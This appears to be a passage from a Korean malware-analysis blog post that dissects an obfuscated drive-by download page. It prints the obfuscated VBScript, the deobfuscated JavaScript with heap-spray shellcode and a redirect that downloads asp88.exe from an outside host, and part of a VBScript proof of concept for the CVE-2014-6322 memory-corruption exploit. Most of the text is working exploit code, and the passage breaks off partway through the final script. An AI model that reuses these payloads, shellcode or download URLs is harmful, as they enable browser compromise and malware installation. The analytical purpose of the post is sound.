alert(' ___ ____ ____n ______/ __// __/_____n _/ _/ : //_____\n /| : : .. / n || :: :: /n || :| || _____/n || || || | / |n | || || | / | n | || || | / /_ n | ____ || ______ || | / / n _-_ / _-_-_ / | ______ |/_/ n __-_-_-_/ /n /____ /n / /n _______________ /nnn ');

이 부분은 그냥 주먹 그림으로 추정되는 모양을 alert창을 띄우는 코드로 악성행위를 하진 않으며, 디코딩 방법은 아래 사이트에서 참고하시기 바랍니다.

jjencode 디코딩 참고 사이트 : http://www.kahusecurity.com/2013/jjencode-script-leads-to-drive-by/

vbs 난독화 부분 (CVE-2010-1175)

vbs 스크립트를 난독화 한 코드로 원본은 아래와 같습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


<SCRIPT language=vbscript>
wei="มี>lmth/<>ydob/<>naps/<>"")tneve(1ve""=daolno ""fig.mw""=CRS GMI<>""1ps""=di naps<มี>tpircs/<มีมี>tpircs/<มี}มี}++i;"" ""=sutats.wodniwมี{มี)01=<i(elihw;1=i ravมี;)'>NAPS/<>LMTH=SATAMROFATAD C=DLFATAD I#=CRSATAD NAPS<>LMX/<>I=DI LMX<>LMTH=SATAMROFATAD C=DLFATAD I#=CRSATAD NAPS<>lmx/<>X/<>C/<>]]>[ATADC[!<>]]""exe.88psa/moc.22kwfhs.88dsa//:ptth""=crs moc.koob.;411#&;0752#&;411#&//:ptth=CRS egami<[ATADC[!<>C<>X<>I=DI LMX<'(etirw.tnemucod)3k2w||pxw(fiมี;))1-=!)'px swodniw'(fOxedni.van(||)1-=!)'1.5 tn swodniw'(fOxedni.van((=pxwมี;))1-=!)'3002 swodniw'(fOxedni.van(||)1-=!)'2.5 tn swodniw'(fOxedni.van((=3k2wมี{มี)7==noisrev(fiมี}มี)]1[)'EISM'(tilps.noisreVppa.rotagivan(taolFesrap=noisrevมี{มี)1-=!)'EISM'(fOxedni.noisreVppa.rotagivan(fiมี;)(esaCrewoLot.tnegAresu.rotagivan=vanมีมี;)0003(peelsมีมี;)""1200gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad1212gnodad9544gnodadF044gnodadA4E4gnodadF4E0gnodadE465gnodadE054gnodad24F4gnodad24F0gnodadA444gnodad0484gnodadF034gnodad6565gnodadE065gnodadB1E0gnodad5515gnodad9455gnodadEDEDgnodad74ADgnodad2E9CgnodadD304gnodad5650gnodad718Agnodad224Egnodad52AAgnodadF1AAgnodad22CFgnodadB7D3gnodadF1AAgnodadD2A6gnodadF1AAgnodadCF74gnodad5022gnodadAAB7gnodadEFF1gnodad9045gnodadD550gnodad71A1gnodadAC5Dgnodad229DgnodadEEC2gnodad620Egnodad1E55gnodadD85Agnodad1EDDgnodadED21gnodad4D21gnodadAA22gnodadAA51gnodad86F1gnodad2CA1gnodad22CFgnodadB710gnodadF1AAgnodadB693gnodadF1AAgnodad224Fgnodad4295gnodadAA57gnodadD171gnodadAA46gnodad5071gnodadD450gnodad71AAgnodad2E14gnodad16D1gnodadF1AAgnodad1ED5gnodad512AgnodadAA16gnodadA2F1gnodad2EACgnodad1692gnodadF1AAgnodadD3C8gnodadAA15gnodadD2F1gnodadAA16gnodad13F1gnodad1E95gnodad114AgnodadAA16gnodad1E54gnodad2E21gnodad5E92gnodad122Agnodad1212gnodad9CB0gnodadDC17gnodadF6F2gnodad94FAgnodad1212gnodadE212gnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9CF1gnodad4217gnodadECE6gnodad94E6gnodadEDEDgnodad88CDgnodad2E9CgnodadEDEDgnodad9CEDgnodadED9CgnodadDDEDgnodad8C69gnodadEDEDgnodadA8FDgnodad179CgnodadEDEDgnodad6DADgnodad179CgnodadB444gnodadAC23gnodadEDEDgnodad56FDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9C35gnodad7317gnodadFD29gnodad9435gnodad1212gnodad6712gnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9C7Agnodad2917gnodad504Egnodad9494gnodadEDEDgnodad36FDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9CBBgnodad2817gnodad8E3Cgnodad946BgnodadEDEDgnodad77FDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9CF8gnodad5B17gnodadA711gnodad941CgnodadEDEDgnodadB4FDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9C3Egnodad3217gnodadB5F3gnodad94B3gnodadEDEDgnodadF5FDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9C7FgnodadA917gnodad1849gnodad9467gnodadEDEDgnodad3BFDgnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9CBCgnodad4117gnodad8DA9gnodad94FBgnodad1212gnodadEE12gnodad2E9Cgnodad5E92gnodad122Agnodad1212gnodad9CFDgnodad2517gnodad9F3Cgnodad94F5gnodad1212gnodad2C12gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C33gnodad3217gnodad6B0Agnodad9487gnodadEDEDgnodad68FDgnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C70gnodadF317gnodadF7ABgnodad94A8gnodadEDEDgnodad71EDgnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9CB1gnodadAF17gnodad86C0gnodad9419gnodad1212gnodadE302gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9CF6gnodad1417gnodadFE1Cgnodad94ECgnodad1212gnodad2102gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C34gnodadD317gnodad94AFgnodad9495gnodadEDEDgnodad6DFDgnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C75gnodadE717gnodadBA52gnodad941Dgnodad1212gnodadA702gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9CBAgnodad7117gnodad77ECgnodad94CCgnodad1212gnodadE402gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9CFBgnodadD517gnodadDDC2gnodad94B8gnodad1212gnodad2A02gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C39gnodadD217gnodad6B22gnodad94DCgnodad1212gnodad6B02gnodad2E9Cgnodad5E92gnodad122Agnodad0212gnodad9C7Egnodad8517gnodad7E76gnodad94A3gnodad1212gnodadA802gnodad2E9Cgnodad5E52gnodadED2AgnodadEDEDgnodad9C7CgnodadEDEDgnodad36FDgnodad128Cgnodad0212gnodad9CB8gnodadED17gnodadCDEDgnodad9C3Agnodad5217gnodad5650gnodad43CAgnodad12ACgnodad6495gnodad9475gnodad922Egnodad2A5EgnodadEDEDgnodad7CEDgnodadED9CgnodadFDEDgnodad8C64gnodad1212gnodadEE02gnodad179CgnodadEDEDgnodad68CDgnodad179Cgnodad5052gnodadCA56gnodadAC43gnodad54E4gnodad2594gnodad1294gnodad7565gnodad9424gnodad922Egnodad2A5EgnodadEDEDgnodad7CEDgnodadED9CgnodadFDEDgnodad8C0Bgnodad1212gnodad8D02gnodad179CgnodadEDEDgnodad0FCDgnodad179Cgnodad5052gnodadCA56gnodadAC43gnodad4435gnodad4525gnodad1294gnodad3112gnodad9421gnodad922Egnodad2A5EgnodadEDEDgnodad7CEDgnodadED9CgnodadFDEDgnodad8CA9gnodad1212gnodad2032gnodad179CgnodadEDEDgnodadADCDgnodad179Cgnodad5052gnodadCA56gnodadAC43gnodad54D4gnodadF455gnodadD494gnodad2EB4gnodad5E92gnodadED2AgnodadEDEDgnodad9C7CgnodadEDEDgnodad3CFDgnodad128Cgnodad3212gnodad9CB6gnodadED17gnodadFDEDgnodad9C30gnodad5217gnodad5650gnodad43CAgnodadC4ACgnodad35D4gnodad9445gnodad1212gnodadE4F4gnodad2E94gnodad1212gnodad0212gnodadF799gnodad13E7gnodad2A5EgnodadED1Fgnodad1212gnodadEC02gnodadD39Cgnodad5550gnodadF1EDgnodadED12gnodad10F1gnodad5650gnodad71AAgnodad5592gnodadA19DgnodadED1Fgnodad1212gnodadAE02gnodad9D9Cgnodad1FAAgnodad12EDgnodad3212gnodad9C50gnodad5010gnodadED55gnodad12F1gnodadE0B4gnodad7845gnodad122Dgnodad1212gnodad8992gnodadAA5Dgnodad7635gnodad8646gnodad1294gnodadC444gnodad9404gnodadAADDgnodadED1Fgnodad1212gnodadC732gnodad539CgnodadED65gnodad67F1gnodadB492gnodadAADDgnodadDC92gnodad672AgnodadED77gnodadEDEDgnodad9C8Dgnodad972EgnodadAC32gnodadA72EgnodadF7E7gnodad1F97gnodad67EDgnodad21EDgnodad1212gnodadA232gnodadB29Cgnodad1265gnodadD150gnodad711AgnodadED1Fgnodad1212gnodad4732gnodad179Cgnodad1212gnodadF312gnodad579Cgnodad1E17gnodad7721gnodad2767gnodadEDEDgnodad9CFDgnodad1F9Cgnodad12EDgnodad1212gnodad94EDgnodad1212gnodadAD02gnodad1F9Cgnodad67EDgnodad21EDgnodad1212gnodad0632gnodadB29Cgnodad1265gnodadD150gnodad711AgnodadED1Fgnodad1212gnodadAA32gnodad179Cgnodad1212gnodad5712gnodad579Cgnodad1E17gnodadED21gnodadEDEDgnodad9CA3gnodadD212gnodad1A3Egnodad0252gnodad9903gnodadEDEDgnodad90EDgnodad2E9CgnodadEDEDgnodadF0EDgnodad1C9Cgnodad42EDgnodadCA16gnodadAADCgnodad7247gnodad1B55gnodad1B1Bgnodad421Bgnodad0A95gnodad45E2gnodad918Cgnodad9C1Agnodad1A91gnodadED1Fgnodad2727gnodad2727gnodad21AFgnodad1212gnodad6122gnodadED9CgnodadEDEDgnodad1814gnodad12CAgnodad1212gnodad0852gnodad1254gnodad1212gnodad9C83gnodad1212gnodad8122gnodad179Cgnodad1767gnodad1717gnodad1717gnodad2717gnodad1207gnodad1212gnodadD002gnodad6E26gnodad1EF1gnodad1321gnodad2A2EgnodadAA8FgnodadAADEgnodadAC3Dgnodad1E52gnodad022Agnodad8AD3gnodad82F1gnodad57C5gnodad2A9DgnodadAADEgnodad21AFgnodad211EgnodadDC57gnodad022Agnodad9A17gnodad3FF1gnodad3021gnodad7E12gnodad7DF1gnodad16ACgnodad5522gnodad5AAFgnodadBA93gnodad92F1gnodad2A1EgnodadAA6EgnodadAADDgnodadED1Fgnodad1212gnodad0E22gnodad179Cgnodad3727gnodad1212gnodad5202gnodad1794gnodad1E17gnodad9221gnodad2A3Egnodad1030gnodadE024gnodad3652gnodadF16Egnodad5410gnodad24C4gnodad6E32gnodad5FF1gnodad12AAgnodad0212gnodadDC53gnodadA70Agnodad1212gnodad4B52gnodad2E8CgnodadED1Cgnodad6642gnodadF16Egnodad0274gnodad8AE7gnodad99F1gnodad7E62gnodadA7F1gnodadE72Egnodad66EDgnodadF8CAgnodadDD3Dgnodad192Egnodad211Egnodad8E86gnodad9D21gnodad12AAgnodad5212gnodad9CD1gnodad2E67gnodad1297gnodad1212gnodad9CCEgnodad1212gnodad8B32gnodad679Cgnodad1212gnodad1213gnodad1094gnodad27B4gnodadAADFgnodad2E27gnodad1297gnodad1212gnodad9C4Cgnodad1212gnodad0932gnodad679Cgnodad1212gnodad1213gnodad1694gnodad27B4gnodadAADFgnodad9727gnodad12ACgnodad1212gnodad9CB3gnodad1212gnodad0402gnodad129Cgnodad1212gnodad9CD2gnodadAA9Dgnodad1212gnodad8A22gnodad129Cgnodad1212gnodad9C11gnodad1212gnodad5602gnodad129Cgnodad1212gnodad9C30gnodadAA9Dgnodad1212gnodadAF22gnodad129Cgnodad1212gnodad9C76gnodad1212gnodadC602gnodad129Cgnodad1212gnodad9C91gnodadAA9Dgnodad1212gnodadC122gnodadED9CgnodadEDEDgnodad9C7DgnodadED1Fgnodad2D58gnodad42F7gnodad9DACgnodad12AAgnodad1312gnodad8912gnodadED1FgnodadB412gnodad1212gnodad1210gnodad1294gnodad2212gnodad9C71gnodad2EAFgnodad1204gnodad0803gnodad56AFgnodad189Egnodad9C66gnodad3C13gnodadC130gnodadBD3Bgnodad8533gnodad8585gnodad4285gnodad9D43gnodad9D1Egnodad0909gnodad0909gnodad""+1a+""0909""+1a(yarpsมี;""gnodad""=1a ravมีมี}มีlaVter nruterมี;)2/gnolzs,0(gnirtsbus.laVter=laVterมี}laVter=+laVter{มี)gnolzs<2*htgnel.laVter(elihwมี{มี)gnolzs,laVter(eulaVelpmaSteg noitcnufมีมี}มี}tcefni+laVter=]i[kcuhczz{)++i;klbaaa<i;0=i(rofมี;)(yarrA wen=kcuhczzมี;eziSkcolBpaeh/)000001x0-a0a0a0a0x0(=klbaaaมี;)gnolzs,laVter(eulaVelpmaSteg=laVterมี;)""a0a0u%a0a0u%""(epacsenu=laVter ravมี;)830x0+eziSdaoLyap(-eziSkcolBpaeh=gnolzs ravมี;2*htgnel.tcefni=eziSdaoLyap ravมี;000001x0=eziSkcolBpaeh ravมี;))""57x52x"",g/gnodad/(ecalper.cs(epacsenu=tcefni ravมี{มี)cs(yarps noitcnufมีมี}มี}มี}kaerb{มี)sdnocesillim>)trats-)(emiTteg.)(etaD wen((fi{มี)++i;7e1<i;0=i rav(rofมีมี;)(emiTteg.)(etaD wen=trats ravมี{มี)sdnocesillim(peels noitcnufมีมี;)""exe.88psa/moc.22kwfhs.88dsa//:ptth""(ecalper.noitacol)1-==)""7 eism""(fOxedni.)(esaCrewoLot.tnegAresu.rotagivan(fiมี>""tpircsavaj""=egaugnal tpircs<"
function UnEncode(cc)
for i = 1 to len(cc)
if mid(cc,i,1)<>"มี" then
temp = Mid(cc, i, 1) + temp
else
temp=vbcrlf&temp
end if
next
UnEncode=temp
end function
document.write(UnEncode(wei))
</SCRIPT>

위 코드를 난독화를 해제하면 아래와 같습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


<script language="javascript">if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)location.replace("http://asd88.shfwk22.com/asp88.exe");
 function sleep(milliseconds)
 {
 var start=new Date().getTime();
 for(var i=0;i<1e7;i++)
 {
 if((new Date().getTime()-start)>milliseconds)
 {
 break
 }
 }
 }
 function spray(sc)
 {
 var infect=unescape(sc.replace(/dadong/g,"x25x75"));
 var heapBlockSize=0x100000;
 var payLoadSize=infect.length*2;
 var szlong=heapBlockSize-(payLoadSize+0x038);
 var retVal=unescape("%u0a0a%u0a0a");
 retVal=getSampleValue(retVal,szlong);
 aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize;
 zzchuck=new Array();
 for(i=0;i<aaablk;i++)
 {
 zzchuck[i]=retVal+infect
 }
 }
 function getSampleValue(retVal,szlong)
 {
 while(retVal.length*2<szlong)
 {
 retVal+=retVal
 }
 retVal=retVal.substring(0,szlong/2);
 return retVal
 }
 var a1="dadong";
 spray(a1+"9090"+a1+"dadong9090dadong9090dadongE1D9dadong34D9dadong5824dadong5858dadong3358dadongB3DBdadong031Cdadong31C3dadong66C9dadongE981dadongFA65dadong3080dadong4021dadongFAE2dadong17C9dadong2122dadong4921dadong0121dadong2121dadong214BdadongF1DEdadong2198dadong2131dadongAA21dadongCAD9dadong7F24dadong85D2dadongF1DEdadongD7C9dadongDEDEdadongC9DEdadong221Cdadong2121dadongD9AAdadong19C9dadong2121dadongC921dadong206Cdadong2121dadong67C9dadong2121dadongC921dadong22FAdadong2121dadongD9AAdadong03C9dadong2121dadongC921dadong2065dadong2121dadong11C9dadong2121dadongC921dadong22A8dadong2121dadongD9AAdadong2DC9dadong2121dadongC921dadong2040dadong2121dadong3BC9dadong2121dadongCA21dadong7279dadongFDAAdadong4B72dadong4961dadong3121dadong2121dadongC976dadong2390dadong2121dadongC4C9dadong2121dadong7921dadong72E2dadongFDAAdadong4B72dadong4901dadong3121dadong2121dadongC976dadong23B8dadong2121dadongECC9dadong2121dadong7921dadong76E2dadong1DC9dadong2125dadongAA21dadong12D9dadong68E8dadongE112dadongE291dadongD3DDdadongAC8FdadongDE66dadongE27Edadong1F7Adadong26E7dadong1F99dadong7EA8dadong4720dadongE61Fdadong2466dadongC1DEdadongC8E2dadong25B4dadong2121dadongA07Adadong35CDdadong2120dadongAA21dadong1FF5dadong23E6dadong4C42dadong0145dadongE61Fdadong2563dadong420Edadong0301dadongE3A2dadong1229dadong71E1dadong4971dadong2025dadong2121dadong7273dadongC971dadong22E0dadong2121dadongF1DEdadongDDAAdadongE6AAdadongE1A2dadong1F29dadong39ABdadongFAA5dadong2255dadongCA61dadong1FD7dadong21E7dadong1203dadong1FF3dadong71A9dadongA220dadong75CDdadongE112dadongFA12dadongEDAAdadongD9A2dadong5C75dadong1F28dadong3DA8dadongA220dadong25E1dadongD3CAdadongEDAAdadongF8AAdadongE2A2dadong1231dadong1FE1dadong62E6dadong200Ddadong2121dadong7021dadong7172dadong7171dadong7171dadong7671dadongC971dadong2218dadong2121dadong38C9dadong2121dadong4521dadong2580dadong2121dadongAC21dadong4181dadongDEDEdadongC9DEdadong2216dadong2121dadongFA12dadong7272dadong7272dadongF1DEdadong19A1dadongA1C9dadongC819dadong2E54dadong59A0dadongB124dadongB1B1dadong55B1dadong7427dadongCDAAdadong61ACdadongDE24dadongC9C1dadongDE0FdadongDEDEdadongC9E2dadongDE09dadongDEDEdadong3099dadong2520dadongE3A1dadong212Ddadong3AC9dadongDEDEdadong12DEdadong71E1dadongC975dadong2175dadong2121dadongC971dadong23AAdadong2121dadongF1DEdadongA117dadong051Ddadong5621dadongC92Bdadong2360dadong2121dadongDE12dadongDE76dadongC9F1dadong20DAdadong2121dadongDE49dadong2121dadongDE21dadongC9F1dadongDFC9dadongDEDEdadong7672dadong1277dadong71E1dadongC975dadong213Fdadong2121dadongC971dadong2374dadong2121dadongF1DEdadongA117dadong051Ddadong5621dadongC92Bdadong232Adadong2121dadongDE12dadongDE76dadong79F1dadong7E7FdadongE27Adadong23CAdadongE279dadongD8C9dadongDEDEdadong77DEdadongA276dadong29CDdadongDDAAdadong294Bdadong1F76dadong56DEdadongC935dadong237Cdadong2121dadongF1DEdadongDDAAdadong4049dadong444Cdadong4921dadong6468dadong5367dadongD5AAdadong2998dadong2121dadongD221dadong5487dadong4B0Edadong1F21dadong55DEdadong0105dadong05C9dadong2123dadongDE21dadongAAF1dadongC9D9dadong20EAdadong2121dadongF1DEdadongD91Adadong2955dadongAA17dadong0565dadong1F01dadong21DEdadongDE1Fdadong0555dadongC93Ddadong20CEdadong2121dadongF1DEdadongE5A2dadong7E31dadong997Fdadong2120dadong2121dadong49E2dadong4F4Edadong2121dadong5449dadong4D53dadongCA4CdadongAC34dadong0565dadong7125dadong03C9dadongDEDFdadong71DEdadong6BC9dadong2123dadongC821dadongDFC3dadongDEDEdadongC7C9dadongDEDEdadongA2DEdadong29E5dadong4BE2dadong494Ddadong554Fdadong4D45dadong34CAdadong65ACdadong2505dadongC971dadongDCDAdadongDEDEdadongC971dadong2302dadong2121dadong9AC8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong1249dadong2113dadong4921dadong5254dadong5344dadong34CAdadong65ACdadong2505dadongC971dadongDCF0dadongDEDEdadongC971dadong20D8dadong2121dadongB0C8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong4249dadong5657dadong4921dadong4952dadong4E45dadong34CAdadong65ACdadong2505dadongC971dadongDC86dadongDEDEdadongC971dadong20EEdadong2121dadong46C8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong5749dadong5946dadongCA21dadongAC34dadong0565dadong7125dadongA3C9dadongDEDCdadong71DEdadong8BC9dadong2120dadongC821dadongDF63dadongDEDEdadongC7C9dadongDEDEdadongA2DEdadong25E5dadongC9E2dadong208Adadong2121dadong3A49dadong67E7dadong7158dadongE7C9dadong2120dadongA221dadong29E5dadongC9E2dadong20B6dadong2121dadongCD49dadong22B6dadong712Ddadong93C9dadong2120dadongA221dadong29E5dadongC9E2dadong20A2dadong2121dadong8B49dadong2CDDdadong715DdadongBFC9dadong2120dadongA221dadong29E5dadongC9E2dadong204Edadong2121dadongCC49dadongCE77dadong7117dadongABC9dadong2120dadongA221dadong29E5dadongC9E2dadong207Adadong2121dadongD149dadong25ABdadong717Edadong57C9dadong2120dadongA221dadong29E5dadongC9E2dadongDFD6dadongDEDEdadong5949dadongFA49dadong713Ddadong43C9dadong2120dadongA221dadong29E5dadongC9E2dadong2012dadong2121dadongCE49dadongC1EFdadong7141dadong6FC9dadong2120dadongA221dadong29E5dadongC9E2dadong203Edadong2121dadong9149dadong0C68dadong71FAdadong1BC9dadong2120dadongA221dadong29E5dadongC9E2dadongDE17dadongDEDEdadong8A49dadongBA7Fdadong713Fdadong07C9dadong2120dadongA221dadong29E5dadongC9E2dadongDF86dadongDEDEdadong7849dadongA0B6dadong7123dadong33C9dadong2120dadongA221dadong29E5dadongC9E2dadong21C2dadong2121dadong5F49dadongC3F9dadong7152dadongDFC9dadong2121dadongA221dadong29E5dadongC9E2dadong21EEdadong2121dadongBF49dadong9AD8dadong7114dadongCBC9dadong2121dadongA221dadong29E5dadongC9E2dadongDFB3dadongDEDEdadong7649dadong9481dadong719AdadongF7C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF5FdadongDEDEdadong3B49dadong3F5Bdadong7123dadongE3C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF4BdadongDEDEdadongC149dadong117Adadong71B5dadong8FC9dadong2121dadongA221dadong29E5dadongC9E2dadongDF77dadongDEDEdadongB649dadongC3E8dadong7182dadongBBC9dadong2121dadongA221dadong29E5dadongC9E2dadongDF63dadongDEDEdadong4949dadongE405dadong7192dadongA7C9dadong2121dadongA221dadong29E5dadongC9E2dadong2176dadong2121dadong5349dadong92DFdadong7137dadong53C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF65dadongDEDEdadong32CAdadong444BdadongC971dadongDAD6dadongDEDEdadongC971dadongDF8AdadongDEDEdadong96C8dadongDEDDdadongC9DEdadongDEC9dadongDEDEdadongC9E2dadongDC88dadongDEDEdadong6E49dadong6ECEdadong7124dadong1FC9dadong2121dadongA221dadong29E5dadongC9E2dadong212Edadong2121dadongAF49dadong2F6Fdadong71CDdadong0BC9dadong2121dadongA221dadong29E5dadong12E2dadong45E1dadong61AAdadongA411dadong59E1dadong1F31dadong61AAdadong1F2Ddadong51AAdadong8C3DdadongAA1Fdadong2961dadongCAE2dadong1F2Adadong61AAdadongA215dadong5DE1dadongAA1Fdadong1D61dadong41E2dadongAA17dadong054Ddadong1705dadong64AAdadong171Ddadong75AAdadong5924dadongF422dadongAA1Fdadong396BdadongAA1Fdadong017BdadongFC22dadong1AC2dadong1F68dadong15AAdadong22AAdadong12D4dadong12DEdadongDDE1dadongA58Ddadong55E1dadongE026dadong2CEEdadongD922dadongD5CAdadong1A17dadong055Ddadong5409dadong1FFEdadong7BAAdadong2205dadong47FCdadongAA1Fdadong6A2DdadongAA1Fdadong3D7BdadongFC22dadongAA1FdadongAA25dadongE422dadongA817dadong0565dadong403DdadongC9E2dadongDA47dadongDEDEdadong5549dadong5155dadong0E1Bdadong560Edadong5656dadong430Fdadong4840dadong444Adadong0F42dadong4F42dadong450Edadong564Edadong0E4Fdadong4E4Adadong440Fdadong4459dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong0021");
 sleep(3000);
 nav=navigator.userAgent.toLowerCase();
 if(navigator.appVersion.indexOf('MSIE')!=-1)
 {
 version=parseFloat(navigator.appVersion.split('MSIE')[1])
 }
 if(version==7)
 {
 w2k3=((nav.indexOf('windows nt 5.2')!=-1)||(nav.indexOf('windows 2003')!=-1));
 wxp=((nav.indexOf('windows nt 5.1')!=-1)||(nav.indexOf('windows xp')!=-1));
 if(wxp||w2k3)document.write('<XML ID=I><X><C><![CDATA[<image SRC=http://rਊr.book.com src="http://asd88.shfwk22.com/asp88.exe"]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');
 var i=1;
 while(i<=10)
 {
 window.status=" ";
 i++
 }
 }
 </script></script><span id="sp1"><IMG SRC="wm.gif" onload="ev1(event)"></span></body></html>

위 코드는 CVE-2010-1175 취약점 입니다. 그리고 아래 일부 코드는 과거 오로라로 명칭 되었던 CVE-2010-0249 취약점 코드의 일부도 보입니다. 제 생각으로는 그냥 이것저것 막 주워다 쓴게 아닐까 추측합니다...

또한 두번째 참고사이트 Kwan's blog 글을 보시면 동일한 코드가 나오며 실행되는 악성코드 파일명은 svchost.exe임을 알 수 있습니다.

[참고 사이트] o CVE-2010-1175(Exploit-DB) : http://www.exploit-db.com/exploits/35229/ o Kwan's blog : http://power4247.tistory.com/m/post/253

CVE-2014-6322 취약점?

이 부분은 그냥 공개된 POC 코드(http://www.exploit-db.com/exploits/35229/)를 그대로 옮겨쓴 코드로 실제 악성행위는 하지 않습니다. 일부 언론에서는 Lulzsec이 국내 사이트들을 공격 후 해당 취약점으로 악성코드를 유포 했다고 기사를 썼으나 제가 분석한 코드에서는 해당 취약점이 아닌 'vbs 난독화 부분'의 CVE-2010-1175 코드로 인해 악성코드가 유포 되었을걸로 보입니다. 혹은 제가 보고 있는 샘플이 당시의 샘플이 아닐수도 있지만 난데없이 svchost.exe가 나온걸로 봐서는 위 'vbs 난독화 부분'에서 설명한 바와 같이 여기저기서 코드를 가져다 쓰면서 그냥 넣은것이 아닐까 추측됩니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191


<SCRIPT LANGUAGE="VBScript">

function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "svchost.exe"
end function

</script>

<SCRIPT LANGUAGE="VBScript">

dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray

Begin()

function Begin()
 On Error Resume Next
 info=Navigator.UserAgent

 if(instr(info,"Win64")>0) then
 exit function
 end if

 if (instr(info,"MSIE")>0) then
 intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) 
 else
 exit function

 end if

 win9x=0

 BeginInit()
 If Create()=True Then
 myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
 myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

 if(intVersion<4) then
 document.write("<br> IE")
 document.write(intVersion)
 runshellcode() 
 else
 setnotsafemode()
 end if
 end if
end function

function BeginInit()
 Randomize()
 redim aa(5)
 redim ab(5)
 a0=13+17*rnd(6)
 a3=7+3*rnd(5)
end function

function Create()
 On Error Resume Next
 dim i
 Create=False
 For i = 0 To 400
 If Over()=True Then
 ' document.write(i) 
 Create=True
 Exit For
 End If
 Next
end function

sub testaa()
end sub

function mydata()
 On Error Resume Next
 i=testaa
 i=null
 redim Preserve aa(a2)

 ab(0)=0
 aa(a1)=i
 ab(0)=6.36598737437801E-314

 aa(a1+2)=myarray
 ab(2)=1.74088534731324E-310
 mydata=aa(a1)
 redim Preserve aa(a0)
end function

function setnotsafemode()
 On Error Resume Next
 i=mydata()
 i=readmemo(i+8)
 i=readmemo(i+16)
 j=readmemo(i+&h134)
 for k=0 to &h60 step 4
 j=readmemo(i+&h120+k)
 if(j=14) then
 j=0 
 redim Preserve aa(a2) 
 aa(a1+2)(i+&h11c+k)=ab(4)
 redim Preserve aa(a0)

 j=0
 j=readmemo(i+&h120+k) 

 Exit for
 end if

 next
 ab(2)=1.69759663316747E-313
 runmumaa()
end function

function Over()
 On Error Resume Next
 dim type1,type2,type3
 Over=False
 a0=a0+a3
 a1=a0+2
 a2=a0+&h8000000

 redim Preserve aa(a0)
 redim ab(a0) 

 redim Preserve aa(a2)

 type1=1
 ab(0)=1.123456789012345678901234567890
 aa(a0)=10

 If(IsObject(aa(a1-1)) = False) Then
 if(intVersion<4) then
 mem=cint(a0+1)*16 
 j=vartype(aa(a1-1))
